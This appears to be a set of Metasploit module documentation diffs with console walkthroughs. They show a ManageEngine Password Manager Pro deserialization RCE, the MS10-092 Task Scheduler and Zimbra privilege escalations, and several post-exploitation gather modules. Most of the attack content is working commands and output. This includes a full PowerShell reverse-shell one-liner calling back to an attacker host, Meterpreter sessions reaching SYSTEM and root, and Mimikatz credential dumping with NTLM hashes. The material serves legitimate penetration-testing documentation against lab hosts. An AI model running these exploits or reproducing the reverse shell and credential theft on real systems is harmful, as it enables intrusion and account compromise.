[*] Using URL: http://10.0.0.146:8080/NvkXTJXRyhV.dtd
[*] Attempting to exploit XXE to store our serialized payload on the server
[*] Trying to find our payload in all users' temp folders
[*] Using URL: http://10.0.0.146:8080/ppVHiihu.dtd
[*] Executing payload: /users/Ron/appdata/local/temp/jar_cache4413164256015023251.tmp...
[*] Sending stage (175686 bytes) to 10.0.0.148
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.148:52347) at 2022-07-07 15:19:59 -0700
meterpreter >
```
## Options
### TARGETURI_DESERIALIZATION / TARGETURI_XXE
The target URLs - probably won't ever need to be changed
### DOMAIN
A domain that the target monitors. We cannot validate this, but if the exploit should work and doesn't, this might be the issue.
### SRVPORT / SRVPORT_FTP / SRVPORT_HTTP2
The connect-back ports.
* `SRVPORT` is used to host XXE payloads
* `SRVPORT_HTTP2` is used for an XXE payload that is held open, creating a temporary file on the server
* `SRVPORT_FTP` is used for a fake off-spec FTP server that receives a directory listing also via XXE
# PATH_TRAVERSAL_DEPTH
The number of `../` to add to the request
# FtpCallbackTimeout / HttpUploadTimeout
How long to wait for FTP or HTTP responses before giving up
@@ -0,0 +1,185 @@
## Vulnerable Application
This module exploits a unauthenticated deserialization vulnerability in the XML RPC interface exposed by Zoho
ManageEngine Password Manager Pro before 12101 and PAM360 before 5510. Note that ManageEngine Access Manager Plus
before 4303 is also affected provided one provides credentials, however this is not targeted by this exploit.
Successful exploitation results in unauthenticated RCE as the `NT AUTHORITY\SYSTEM` user.
### Installation
Vulnerable software for testing can be downloaded [here](https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe).
The patch can be downloaded from [here](https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm)
When installing the software follow the defaults. You can skip the registration however or any parts where you need
to fill in additional details to continue (these should have a `Skip` button so you can skip them).
## Verification Steps
1. Follow the installation instructions above.
2. Start msfconsole
3. Do: `use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce`
4. Do: `set RHOSTS [IP]`
7. Do: `set payload [payload]`
8. Do: `set LHOST [IP]`
9. Optional: `set LPORT [local port to listen on]`
10. Do: `exploit`
## Options
## Targets
```
Id Name
-- ----
0 Windows EXE Dropper
1 Windows Command
2 Windows Powershell
```
## Scenarios
### ManageEngine Password Manager Pro 12100 Running on Windows 11
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
[*] Using configured payload cmd/windows/reverse_powershell
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94
RHOSTS => 172.17.245.94
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112
LHOST => 172.17.255.112
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899
LPORT => 8899
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options
Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.17.245.94 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
ploit
RPORT 7272 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/windows/reverse_powershell):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.17.255.112 yes The listen address (an interface may be specified)
LPORT 8899 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Command
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit
[*] Started reverse TCP handler on 172.17.255.112:8899
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Windows Command for cmd/windows/reverse_powershell
[+] Successfully executed command: powershell -w hidden -nop -c $a='172.17.255.112';$b=8899;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
[*] Command shell session 1 opened (172.17.255.112:8899 -> 172.17.245.94:56612) at 2022-08-02 11:37:28 -0500
Shell Banner:
Microsoft Windows [Version 10.0.22000.795]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\ManageEngine\PMP\bin>
-----
C:\Program Files\ManageEngine\PMP\bin>whoami
whoami
nt authority\system
C:\Program Files\ManageEngine\PMP\bin>background
Background session 1? [y/N] y
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172.
2000.795] (c) Microsoft Corpo... 17.245.94)
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.255.112:4433
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) >
[*] Sending stage (200774 bytes) to 172.17.245.94
[*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500
[*] Stopping exploit/multi/handler
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10. 172.17.255.112:8899 -> 172.17.245.94:56612 (1
0.22000.795] (c) Microsoft Corpo... 72.17.245.94)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1
72.17.245.94)
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
admin WIN11-TEST 209c6174da490caeb422f3fa5a7ae634 7c87541fd3f3ef5016e12d411900c87a6046a8e8
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
WIN11-TEST$ WORKGROUP (null)
admin WIN11-TEST (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
admin WIN11-TEST (null)
win11-test$ WORKGROUP (null)
meterpreter >
```
@@ -1,51 +1,65 @@
## Vulnerable Application
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
## Scenarios
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
When processing task files, the Windows Task Scheduler only uses a CRC32
checksum to validate that the file has not been tampered with. Also, In a default
configuration, normal users can read and write the task files that they have
created. By modifying the task file and creating a CRC32 collision, an attacker
can execute arbitrary commands with SYSTEM privileges.
## Verification Steps
1. Start msfconsole
2. Do: `use modules/exploits/windows/local/ms10_092_schelevator`
3. Do: `set SESSION [#]`
4. Do: `run`
2. Get a Meterpreter session
3. Do: `use modules/exploits/windows/local/ms10_092_schelevator`
4. Do: `set SESSION <session id>`
5. Do: `run`
### A run on Windows Vista (Build 6000) and Kali Linux 2019.3
## Options
```
msf > use modules/exploits/windows/local/ms10_092_schelevator
msf exploit(windows/local/ms10_092_schelevator) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/ms10_092_schelevator) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Preparing payload at C:\Users\test\AppData\Local\Temp\CItOOtB.exe
[*] Creating task: TzAZ6H4K
[*] SUCCESS: The scheduled task "TzAZ6H4K" has successfully been created.
[*] SCHELEVATOR
[*] Reading the task file contents from C:\Windows\system32\tasks\TzAZ6H4K...
[*] Original CRC32: 0x69b1db25
[*] Final CRC32: 0x69b1db25
[*] Writing our modified content back...
[*] Validating task: TzAZ6H4K
[*]
[*] Folder: \
[*] TaskName Next Run Time Status
[*] ========================================== ==================== ===============
[*] TzAZ6H4K 12/1/2019 10:41:00 A Ready
[*] SCHELEVATOR
[*] Disabling the task...
[*] SUCCESS: The parameters of scheduled task "TzAZ6H4K" have been changed.
[*] SCHELEVATOR
[*] Enabling the task...
[*] SUCCESS: The parameters of scheduled task "TzAZ6H4K" have been changed.
[*] SCHELEVATOR
[*] Executing the task...
[*] Sending stage (180291 bytes) to 192.168.1.2
[*] SUCCESS: Attempted to run the scheduled task "TzAZ6H4K".
[*] SCHELEVATOR
[*] Deleting the task...
[*] Meterpreter session 2 opened (192.168.1.3:4444 -> 192.168.1.2:49249) at 2019-11-27 10:42:02 -0700
[*] SUCCESS: The scheduled task "TzAZ6H4K" was successfully deleted.
[*] SCHELEVATOR
```
### TASKNAME
A name for the created task (default is random)
## Scenarios
### Windows Server 2008 SP1 (x64)
```
msf6 > use exploit/windows/local/ms10_092_schelevator
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_092_schelevator) > set session 1
session => 1
msf6 exploit(windows/local/ms10_092_schelevator) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Preparing payload at C:\Users\user\AppData\Local\Temp\QMGmEeEmFFq.exe
[*] Creating task: qThxbR37
[*] Reading the task file contents from C:\Windows\system32\tasks\qThxbR37...
[*] Original CRC32: 0xec6cfb1d
[*] Final CRC32: 0xec6cfb1d
[*] Writing our modified content back...
[*] Validating task: qThxbR37
[*] Disabling the task...
[*] SUCCESS: The parameters of scheduled task "qThxbR37" have been changed.
[*] Enabling the task...
[*] SUCCESS: The parameters of scheduled task "qThxbR37" have been changed.
[*] Executing the task...
[*] Sending stage (200774 bytes) to 192.168.200.218
[*] Meterpreter session 2 opened (192.168.200.130:4444 -> 192.168.200.218:52347) at 2022-08-19 00:53:17 -0400
[*] Deleting task pcT2p46d0...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-17B09RRRJTG
OS : Windows 2008 (6.0 Build 6001, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : CORP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,47 @@
## Vulnerable Application
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
## Verification Steps
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
10 meterpreter x86/linux zimbra @ zimbra.example.org 10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154)
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10
SESSION => 10
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target is vulnerable.
[*] Creating exploit directory: /tmp/.5kq9XO
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.5kq9XO/.1wNk1h3
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted /tmp/.5kq9XO
[*] Meterpreter session 13 opened (10.0.0.146:4444 -> 10.0.0.154:40044) at 2022-07-21 14:04:12 -0700
meterpreter > getuid
Server username: root
```
## Options
### SUDO_PATH
The path to `sudo` on the host. If we have a proper environment with `$PATH` set, which we generally do, simply `sudo` is fine.
### ZIMBRA_BASE
The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`, and I'm not even sure if it _can_ install elsewhere, so this default should be fine.
@@ -0,0 +1,67 @@
## Vulnerable Application
This module prints out the operating system environment variables.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/multi/gather/env`
1. Do: `set SESSION <session id>`
1. Do: `run`
## Options
## Scenarios
### Windows 11 Pro (10.0.22000 N/A Build 22000)
```
msf6 > use post/multi/gather/env
msf6 post(multi/gather/env) > set session 1
session => 1
msf6 post(multi/gather/env) > run
[*] Running module against WinDev2110Eval (192.168.200.140)
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\User\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=WINDEV2110EVAL
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
HOMEDRIVE=C:
HOMEPATH=\Users\User
LOCALAPPDATA=C:\Users\User\AppData\Local
LOGONSERVER=\\WINDEV2110EVAL
NUMBER_OF_PROCESSORS=2
OneDrive=C:\Users\User\OneDrive
OS=Windows_NT
Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Program Files\Microsoft SQL Server\130\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Users\User\AppData\Local\Microsoft\WindowsApps;;C:\Users\User\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\User\.dotnet\tools
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 26 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=1a05
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSExecutionPolicyPreference=Bypass
PSModulePath=C:\Users\User\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\User\AppData\Local\Temp
TMP=C:\Users\User\AppData\Local\Temp
USERDOMAIN=WINDEV2110EVAL
USERDOMAIN_ROAMINGPROFILE=WINDEV2110EVAL
USERNAME=User
USERPROFILE=C:\Users\User
windir=C:\Windows
[+] Results saved to /root/.msf4/loot/20220731233101_default_192.168.200.140_windows.environm_058721.txt
[*] Post module execution completed
```
@@ -0,0 +1,44 @@
## Vulnerable Application
This module will check the file system and registry for particular artifacts.
The list of artifacts is read in YAML format from `data/post/enum_artifacts_list.txt`
or a user specified file. Any matches are written to the loot.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/windows/gather/enum_artifcats`
1. Do: `set SESSION <session id>`
1. Do: `run`
## Options
### ARTIFACTS
Full path to artifacts file.
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1)
```
msf6 > use post/windows/gather/enum_artifacts
msf6 post(windows/gather/enum_artifacts) > set session 1
session => 1
msf6 post(windows/gather/enum_artifacts) > set verbose true
verbose => true
msf6 post(windows/gather/enum_artifacts) > run
[*] Searching for artifacts of test_evidence
[*] Processing 2 file entries for test_evidence ...
[*] Processing 2 registry entries for test_evidence ...
[*] Artifacts of test_evidence found.
Evidence of test_evidence found.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI\DisplayName
[+] Enumerated Artifacts stored in: /root/.msf4/loot/20220807015628_default_192.168.200.190_enumerated.artif_933981.txt
[*] Post module execution completed
```
@@ -1,7 +1,7 @@
## Vulnerable Application
This module identifies the primary domain via the registry. The registry value used is:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\DCName`.
This module identifies the primary Active Directory domain name
and domain controller.
## Verification Steps
@@ -10,34 +10,36 @@ This module identifies the primary domain via the registry. The registry value u
1. Do: `use post/windows/gather/enum_domain`
1. Do: `set session [#]`
1. Do: `run`
1. You should information on the computer's domain
1. You should receive Active Directory domain information
## Options
## Scenarios
### Windows 2012 DC
### Windows 2016 with Windows 2008 SP1 DC
```
msf6 post(windows/gather/enum_domain) > sessions -i 6
[*] Starting interaction with 6...
msf6 post(windows/gather/enum_domain) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DC1
OS : Windows 2012 (6.2 Build 9200).
Computer : WIN-7V3NGVNQTJ1
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : hoodiecola
Domain : CORP
Logged On Users : 4
Meterpreter : x86/windows
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 6...
[*] Backgrounding session 1...
msf6 post(windows/gather/enum_domain) > use post/windows/gather/enum_domain
msf6 post(windows/gather/enum_domain) > set session 6
session => 6
msf6 post(windows/gather/enum_domain) > set session 1
session => 1
msf6 post(windows/gather/enum_domain) > run
[+] FOUND Domain: hoodiecola
[+] FOUND Domain Controller: dc1 (IP: 1.1.1.1)
[+] Domain FQDN: corp.local
[+] Domain NetBIOS Name: CORP
[+] Domain Controller: WIN-17B09RRRJTG.corp.local (IP: 192.168.200.218)
[*] Post module execution completed
```
@@ -1,64 +1,61 @@
## Vulnerable Application
This module will enumerate current and recently logged on Windows users.
## Verification Steps
1. Start msfconsole
2. Get meterpreter session
3. Do: ```use post/windows/gather/enum_logged_on_users```
4. Do: ```set SESSION <session id>```
5. Do: ```run```
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_logged_on_users`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
**CURRENT**
### CURRENT
Enumerate currently logged on users. Default: ```true```
Enumerate currently logged on users. (default: `true`)
**RECENT**
### RECENT
Enumerate Recently logged on users. Default: ```true```
Enumerate recently logged on users. (default: `true`)
**SESSION**
The session to run this module on.
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1).
```
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
```
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
SESSION => 1
msf post(windows/gather/enum_logged_on_users) > run
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
SESSION => 1
msf post(windows/gather/enum_logged_on_users) > run
[*] Running against session 1
[*] Running module against TEST-PC (192.168.1.10)
Current Logged Users
====================
Current Logged Users
====================
SID User
--- ----
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
SID User
--- ----
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
Recently Logged Users
=====================
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
[*] Post module execution completed
```
[+] Results saved in: /root/.msf4/loot/20191213054458_default_192.168.1.10_host.users.recen_365577.txt
[*] Post module execution completed
```
@@ -0,0 +1,38 @@
## Vulnerable Application
This module will enumerate Microsoft product license keys.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_ms_product_keys`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
## Scenarios
### Windows 7 Professional SP1 (x64)
```
msf6 > use post/windows/gather/enum_ms_product_keys
msf6 post(windows/gather/enum_ms_product_keys) > set session 1
session => 1
msf6 post(windows/gather/enum_ms_product_keys) > run
[*] Finding Microsoft product keys on TEST (192.168.200.190)
Keys
====
Product Registered Owner Registered Organization License Key
------- ---------------- ----------------------- -----------
Windows 7 Professional Windows User N0TMY-K3Y55-N0TMY-K3Y55-N0TMY
Windows 7 Professional Windows User N0TMY-K3Y55-N0TMY-K3Y55-N0TMY
[+] Product keys stored in: /root/.msf4/loot/20220814092725_default_192.168.200.190_host.ms_keys_579592.txt
[*] Post module execution completed
```
@@ -0,0 +1,241 @@
## Vulnerable Application
This module will enumerate Microsoft PowerShell settings.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/windows/gather/enum_powershell_env`
1. Do: `set SESSION <session id>`
1. Do: `run`
## Options
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1)
```
msf6 > use post/windows/gather/enum_powershell_env
msf6 post(windows/gather/enum_powershell_env) > set session 1
session => 1
msf6 post(windows/gather/enum_powershell_env) > run
[*] Running module against test (192.168.200.158)
[*] PowerShell is installed on this system.
[*] Version: 2.0
[*] Execution Policy: RemoteSigned
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] No PowerShell Snap-Ins are installed
[*] PowerShell Modules paths:
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
[*] C:\Program Files (x86)\Microsoft SQL Server\120\Tools\PowerShell\Modules\
[*] C:\Program Files (x86)\AutoIt3\AutoItX
[*] PowerShell Modules:
[*] PSDiagnostics
[*] TroubleshootingPack
[*] SQLASCMDLETS
[*] SQLPS
[*] AutoItX.chm
[*] AutoItX.psd1
[*] AutoItX3.Assembly.dll
[*] AutoItX3.Assembly.xml
[*] AutoItX3.dll
[*] AutoItX3.PowerShell.dll
[*] AutoItX3_DLL.h
[*] AutoItX3_DLL.lib
[*] AutoItX3_x64.dll
[*] AutoItX3_x64_DLL.lib
[*] Examples
[*] Checking if users have PowerShell profiles
[*] Running with elevated privileges. Extracting user list ...
[*] Checking asdf
[*] Checking DefaultAppPool
[*] Checking MSSQL$SQLEXPRESS
[*] Checking MSSQLSERVER
[*] Checking postgres
[*] Checking test
[*] Checking user
[*] Found PowerShell profile 'C:\Users\user\Documents\WindowsPowerShell\profile.ps1' for user:
Get-Host | Select-Object Version
[*] Post module execution completed
```
### Windows 11 Pro (10.0.22000 N/A Build 22000)
```
msf6 > use post/windows/gather/enum_powershell_env
msf6 post(windows/gather/enum_powershell_env) > set session 1
session => 1
msf6 post(windows/gather/enum_powershell_env) > run
[*] Running module against WinDev2110Eval (192.168.200.140)
[*] PowerShell is installed on this system.
[*] Version: 2.0
[*] Execution Policy: AllSigned
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] PowerShell Snap-Ins:
[*] Snap-In: WDeploySnapin3.0
[*] (Default):
[*] ApplicationBase: C:\Program
[*] AssemblyName: Microsoft.Web.Deployment.PowerShell,
[*] Description: This
[*] ModuleName: Microsoft.Web.Deployment.PowerShell.dll
[*] PowerShellVersion: 2.0
[*] Vendor: Microsoft
[*] Version: 9.0.0.0
[*] PowerShell Modules paths:
[*] C:\Users\User\Documents\WindowsPowerShell\Modules
[*] C:\Program Files\WindowsPowerShell\Modules
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules
[*] PowerShell Modules:
[*] Azure
[*] Azure.AnalysisServices
[*] Azure.Storage
[*] AzureRM
[*] AzureRM.AnalysisServices
[*] AzureRM.ApiManagement
[*] AzureRM.ApplicationInsights
[*] AzureRM.Automation
[*] AzureRM.Backup
[*] AzureRM.Batch
[*] AzureRM.Billing
[*] AzureRM.Cdn
[*] AzureRM.CognitiveServices
[*] AzureRM.Compute
[*] AzureRM.Consumption
[*] AzureRM.ContainerInstance
[*] AzureRM.ContainerRegistry
[*] AzureRM.DataFactories
[*] AzureRM.DataFactoryV2
[*] AzureRM.DataLakeAnalytics
[*] AzureRM.DataLakeStore
[*] AzureRM.DevTestLabs
[*] AzureRM.Dns
[*] AzureRM.EventGrid
[*] AzureRM.EventHub
[*] AzureRM.HDInsight
[*] AzureRM.Insights
[*] AzureRM.IotHub
[*] AzureRM.KeyVault
[*] AzureRM.LogicApp
[*] AzureRM.MachineLearning
[*] AzureRM.MachineLearningCompute
[*] AzureRM.MarketplaceOrdering
[*] AzureRM.Media
[*] AzureRM.Network
[*] AzureRM.NotificationHubs
[*] AzureRM.OperationalInsights
[*] AzureRM.PowerBIEmbedded
[*] AzureRM.Profile
[*] AzureRM.RecoveryServices
[*] AzureRM.RecoveryServices.Backup
[*] AzureRM.RecoveryServices.SiteRecovery
[*] AzureRM.RedisCache
[*] AzureRM.Relay
[*] AzureRM.Resources
[*] AzureRM.Scheduler
[*] AzureRM.ServerManagement
[*] AzureRM.ServiceBus
[*] AzureRM.ServiceFabric
[*] AzureRM.SiteRecovery
[*] AzureRM.Sql
[*] AzureRM.Storage
[*] AzureRM.StreamAnalytics
[*] AzureRM.Tags
[*] AzureRM.TrafficManager
[*] AzureRM.UsageAggregates
[*] AzureRM.Websites
[*] Microsoft.PowerShell.Operation.Validation
[*] PackageManagement
[*] Pester
[*] PowerShellGet
[*] PSReadline
[*] AppBackgroundTask
[*] AppLocker
[*] AppvClient
[*] Appx
[*] AssignedAccess
[*] BitLocker
[*] BitsTransfer
[*] BranchCache
[*] CimCmdlets
[*] ConfigCI
[*] ConfigDefender
[*] ConfigDefenderPerformance
[*] Defender
[*] DeliveryOptimization
[*] DirectAccessClientComponents
[*] Dism
[*] DnsClient
[*] EventTracingManagement
[*] Get-NetView
[*] HostNetworkingService
[*] International
[*] iSCSI
[*] ISE
[*] Kds
[*] Microsoft.PowerShell.Archive
[*] Microsoft.PowerShell.Diagnostics
[*] Microsoft.PowerShell.Host
[*] Microsoft.PowerShell.LocalAccounts
[*] Microsoft.PowerShell.Management
[*] Microsoft.PowerShell.ODataUtils
[*] Microsoft.PowerShell.Security
[*] Microsoft.PowerShell.Utility
[*] Microsoft.Windows.Bcd.Cmdlets
[*] Microsoft.WSMan.Management
[*] MMAgent
[*] MsDtc
[*] NetAdapter
[*] NetConnection
[*] NetEventPacketCapture
[*] NetLbfo
[*] NetNat
[*] NetQos
[*] NetSecurity
[*] NetSwitchTeam
[*] NetTCPIP
[*] NetworkConnectivityStatus
[*] NetworkSwitchManager
[*] NetworkTransition
[*] PcsvDevice
[*] PersistentMemory
[*] PKI
[*] PnpDevice
[*] PrintManagement
[*] ProcessMitigations
[*] Provisioning
[*] PSDesiredStateConfiguration
[*] PSDiagnostics
[*] PSScheduledJob
[*] PSWorkflow
[*] PSWorkflowUtility
[*] ScheduledTasks
[*] SecureBoot
[*] SmbShare
